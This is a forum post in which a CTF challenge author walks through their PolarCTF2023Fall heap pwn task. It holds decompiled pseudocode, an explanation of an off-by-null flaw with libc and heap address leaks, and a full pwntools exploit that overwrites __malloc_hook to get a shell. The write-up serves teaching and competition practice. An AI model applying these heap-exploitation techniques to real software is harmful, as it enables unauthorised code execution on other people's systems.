R00tkit 发表于 2023-9-26 14:21

PolarCTF2023Fall : 夕阳下的舞者

本帖最后由 R00tkit 于 2023-9-26 14:22 编辑



# 前言
这是我出的一道赛题,主要考察 off-by-null 和对glibc源码的理解。[靶场地址](https://www.polarctf.com/)
# 562+5Liq5Yiw

## 检查文件信息



`ELF64`位小端序程序,动态链接。




除了`FODRTIFY`保护,其余保护全开。



```bash
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw
```

将环境修改为题目的运行环境。



## 逆向分析

```cpp
__int64 sub_A9D()
{
unsigned int v1; // BYREF
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
puts("1.Add a Chicken.");
puts("2.Delete a Chicken.");
puts("3.Cook a chicken.");
puts("4.Chicken you are so beautiful.");
puts("5.EXIT.");
_isoc99_scanf("%d", &v1);
return v1;
}
```

`sub_A9D()`函数为程序菜单。



```cpp
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; //

sub_A50(a1, a2, a3);
malloc(1uLL);
puts(
    "==:.........................................................................=..::::..=:::::::::::\n"
    "===-:.......................................................................=..=-:=:.=:.:::::::::\n"
    "=====-......................................................................=..-:.=:.=:..::::::::\n"
    "=======:.........................................:..........................=..:--=..=:...:::::::\n"
    "========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
    "==========-....................................:+**###+:....................=-::-----=:......::::\n"
    "===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
    ":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
    ":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
    "::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
    "::::::--===-...........................#++++++#*-#++##:..........................................\n"
    "::::::::-==-..........................*++++++++#:+++++*..........................................\n"
    "::::::::::--..........................+++++++++#++#++++-.........................................\n"
    "::::::::::::..........................#++++++++#++#++++=.........................................\n"
    ":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
    "..:::::::::::::........................*+++++#++++++#++:.........................................\n"
    "....:::::::::::::.......................#++++#=++++++#*..........................................\n"
    "......:::::::::::::.....................++*##**#++++#=:..........................................\n"
    "........:::::::::::::..................-==++++++*##*=:...........................................\n"
    ".........:::::::::::::................-======+==+++..............................................\n"
    "...........:::::::::::::..............-===+++++++++-.............................................\n"
    ".............:::::::::::::...........:===++++++++++=:............................................\n"
    "...............:::::::::::::.........===++*+-=***+++=............................................\n"
    "................::::::::::::::......-=+++*=...-*++++=............................................\n"
    "..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
    "....................:::::::::::::..==+++-.......+++++-...........................................\n"
    "......................::::::::::::-=++*=........:*+++=...........................................\n"
    "........................::::::::::=+++-..........:+*++-.........................................:\n"
    ".........................::::::::-==+=:...........:+===........................................::\n"
    "::::.......................:::::-==++::::..........====:......................................:::\n"
    "::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
    ":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
    ":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
    ":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
    "::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
    "::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
while ( 1 )
{
    while ( 1 )
    {
      while ( 1 )
      {
      while ( 1 )
      {
          v4 = sub_A9D();
          if ( v4 != 1 )
            break;
          sub_BFC();
      }
      if ( v4 != 2 )
          break;
      sub_D28();
      }
      if ( v4 != 3 )
      break;
      sub_EB3();
    }
    if ( v4 != 4 )
      break;
    sub_1005();
}
return 0LL;
}
```

可以看到是一道菜单题。



```cpp
__int64 sub_BFC()
{
int v1; //
int *v2; //

v1 = sub_B34();
if ( v1 == -1 )
{
    puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
}
else
{
    v2 = (int *)malloc(0x20uLL);
    puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
    _isoc99_scanf("%d", v2);
    *((_QWORD *)v2 + 1) = malloc(*v2);
    *((_QWORD *)v2 + 3) = malloc(0x80uLL);
    *((_QWORD *)v2 + 2) = malloc(0x20uLL);
    puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
    sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
    puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
    read(0, *((void **)v2 + 2), 0x20uLL);
    dword_203060 = 1;
    qword_203080 = v2;
}
return 0LL;
}
```

`sub_BFC()`函数创建了一个结构体,并且可以自定义`chicken`大小。数组`qword_203080`记录了每一个`chicken`,数组`dword_203060`记录了`qword_203060`的使用情况。可以向`mark`和`name`读入内容。并且未将`v2+3`处的内容初始化,可能存在泄露。



```cpp
struct Chicken {
    int size;
    void* name;
    void* mark;
    void* msg; // 后面分析得知,这里记载的菜名。
};
```

根据读入情况,不难分析出结构体的内容。



```cpp
__int64 sub_B34()
{
int i; //

for ( i = 0; i <= 7; ++i )
{
    if ( !dword_203060 )
      return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}
```

`sub_B34()`函数用于查看`qword_203060`数组的使用情况。



```cpp
char *__fastcall sub_B74(char *a1, int a2)
{
char *result; // rax

read(0, a1, a2);
result = &a1;
*result &= ~1u;
return result;
}
```

`sub_B74()`函数置零操作存在`off-by-null`漏洞。



```cpp
__int64 sub_D28()
{
int v1; // BYREF
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060 )
{
    *(_DWORD *)qword_203080 = 0;
    dword_203060 = 0;
    free(*(void **)(qword_203080 + 8LL));
    *(_QWORD *)(qword_203080 + 8LL) = 0LL;
    free(*(void **)(qword_203080 + 16LL));
    *(_QWORD *)(qword_203080 + 16LL) = 0LL;
    free(*(void **)(qword_203080 + 24LL));
    qword_203080 = 0LL;
}
else
{
    puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
}
return 0LL;
}
```

`sub_D28()`函数用于释放多块,没有问题。



```cpp
__int64 sub_EB3()
{
unsigned int v1; // BYREF
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060 )
{
    puts("Old name");
    puts(*(const char **)(qword_203080 + 8LL));
    puts("Give me new name.");
    read(0, *(void **)(qword_203080 + 8LL), *(int *)qword_203080);
    puts("New name");
    puts(*(const char **)(qword_203080 + 8LL));
    puts("Give me Cook name.");
    sub_BC0(v1);
}
else
{
    puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
}
return 0LL;
}
```

`sub_EB3()`函数用于改名字,并记录菜名。



```cpp
ssize_t __fastcall sub_BC0(int a1)
{
return read(0, *(void **)(qword_203080 + 24LL), 0x80uLL);
}
```

`sub_BC0()`函数用于读取菜名。



```cpp
__int64 sub_1005()
{
int i; //

for ( i = 0; i <= 7; ++i )
{
    printf("The chicken %d\n", (unsigned int)i);
    if ( dword_203060 )
    {
      puts("\x1B[1;33m Name \x1B[0m");
      puts(*(const char **)(qword_203080 + 8LL));
      puts("\x1B[1;33m ErrMsg \x1B[0m");
      puts(*(const char **)(qword_203080 + 24LL));
      puts("\x1B[1;33m Mark \x1B[0m");
      puts(*(const char **)(qword_203080 + 16LL));
    }
}
return 0LL;
}
```

`sub_1005()`函数用于打印所有信息。这里菜名被标记为`ErrMsg`。



## 漏洞利用

我们可以通过`sub_BFC()`函数未初始化的`ErrMsg(菜名)`和`sub_1005()`来进行信息泄露,得到`heap`和`libc`地址。然后利用`off-by-null`漏洞制造堆块重叠,向`fastbin`中写入`__malloc_hook`地址,然后篡改其为`one_gadget`来获取权限。



### 前置脚本

```python
from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True

def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
      p = process('./562+5Liq5Yiw')
    else:
      p = remote('IP', port)

def debug(gdbscript=""):
    if is_debug:
      gdb.attach(p, gdbscript=gdbscript)
      pause()
    else:
      pass

def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)

def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())

def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)

def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')
```

定义了函数接口和前置操作。



### 泄露libc地址

```python
def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20)
    Delete(0)
    Add(0x20, b'c'*20, b'd'*20)
    Black()
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]
```

本题泄露利用`unsorted bin`中保存的`libc`地址与`libc`基址的固定偏移获取`libc`基址。因为结构体在初始化时并未初始化`ErrMsg`的值,并且其大小为`0x90`,我们申请一个结构体再将其释放,再次申请时可将其从`unsorted bin`中申请出来,然后可以通过打印函数打印`unsorted bin`中的内容。



在打印前下断点可以看到,此时`ErrMsg`中保存的值为`libc`地址。由于`libc`中的地址固定偏移不受`pie`和`aslr`保护影响,可以由此计算出`libc`基址。



### 泄露heap地址

```python
def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3

    Delete(1)
    Delete(3)
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn');
    Black()
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)
```

堆地址也可以通过`unsorted bin`的`bk`指针泄露,我们将两个不连续的`non-fast`大小的堆块放入`unsorted bin`中,由于`unsorted bin`采取先进先出模式,所以我们会将`结构体1`重新申请出来,它`ErrMsg`的`bk`位置便是`结构体3`的地址。然后通过改名函数将`ErrMsg`的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。



同样在打印前下一个断点,可以看到其`bk`位置为一个堆地址。



### 通过修改__malloc_hook为one_gadget地址get_shell

```python
def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    Delete(6)
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
    Delete(6)
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one =
    Add(0x60, b'a'*0x13+p64(libc_base+one), b'c'*0x10) # 1
    Delete(4)
```

因为`Add`函数存在`off-by-null`漏洞,所以我们可以制造一个堆块重叠,将一个`fast chunk`包含在其中,这里需要注意的时,我们要绕过`unlink`检查,需要将伪造的`fake chunk`的`fd`和`bk`指向它本身。然后计算好偏移将`fast chunk`的`fd`位置改为`__malloc_hook`附近包含`__malloc_hook`大小的`fake chunk`的位置。然后将`__malloc_hook`改为`one_gadget`。此时四个`one_gadget`都无法打通,我们可以`free`一个错误的`chunk`来调用`malloc_printerr`函数,这个函数中存在其他的调用,最后会调用到`malloc`,然后便可调用`one_gadget`。




通过`find_fake_fast`来寻找`__malloc_hook`附近的`fake_chunk`。`fake_chunk`的`prev_size`距离`__malloc_hook`有0x23大小。所以填充`0x13`字节即可覆盖到目标地址。



我们可以通过`k`来查看函数调用栈,发现`free`报错后会在动态链接器调用`malloc`。




可以在源码中发现,由于`free`一个错误堆块调用了`malloc_printerr`函数,最后在`dl-error.c`调用了`malloc`函数。

## 完整exp

```python
from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False

def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
      p = process('./562+5Liq5Yiw')
    else:
      p = remote('IP', port)

def debug(gdbscript=""):
    if is_debug:
      gdb.attach(p, gdbscript=gdbscript)
      pause()
    else:
      pass

def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)

def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())

def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)

def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')

def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
    Delete(0) # errmsg_0x90->unsorted
    Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
    Black()
    #debug() # db1
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    sleep(0.5)

def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Delete(1)
    Delete(3)
    #debug() # db2
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn')
    Black()
    #debug() # db3
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)
    sleep(0.5)

def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    #debug() # db4
    Delete(6)
    #debug() # db5
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
    #debug() # db6
    Delete(6)
    #debug() # db7
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    #debug() # db8
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one =
    Add(0x60, b'a'*0x13+p64(libc_base+one), b'c'*0x10) # 1

    #gdb.attach(p, 'b *_dl_signal_error')
    Delete(4)
    #pause()
    sleep(0.5)

def pwn():
    connect()
    get_libc()
    get_heap()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()
```



Phantom可 发表于 2023-9-26 17:59

闻鸡起舞啊 这是

正己 发表于 2023-9-26 19:18

小黑子,露出鸡脚了吧

R00tkit 发表于 2023-9-26 20:00

正己 发表于 2023-9-26 19:18
小黑子,露出鸡脚了吧

我是真爱粉{:1_909:}

qfsw 发表于 2023-9-26 22:38

这个舞者,可以穿背带裤吗?

w547890 发表于 2023-9-26 23:09

这个舞者,可以穿背带裤吗?

tomliu 发表于 2023-9-27 13:42

这题好难

R00tkit 发表于 2023-9-27 14:20

tomliu 发表于 2023-9-27 13:42
这题好难

可以试试改 __malloc_hook 为 system 然后 malloc("/bin/sh\x00") 试试

LHCAILGT 发表于 2023-10-12 12:30

这个非常好,感谢分享

gy001715 发表于 2023-10-15 19:04

感谢分享{:1_893:}
页: [1] 2
查看完整版本: PolarCTF2023Fall : 夕阳下的舞者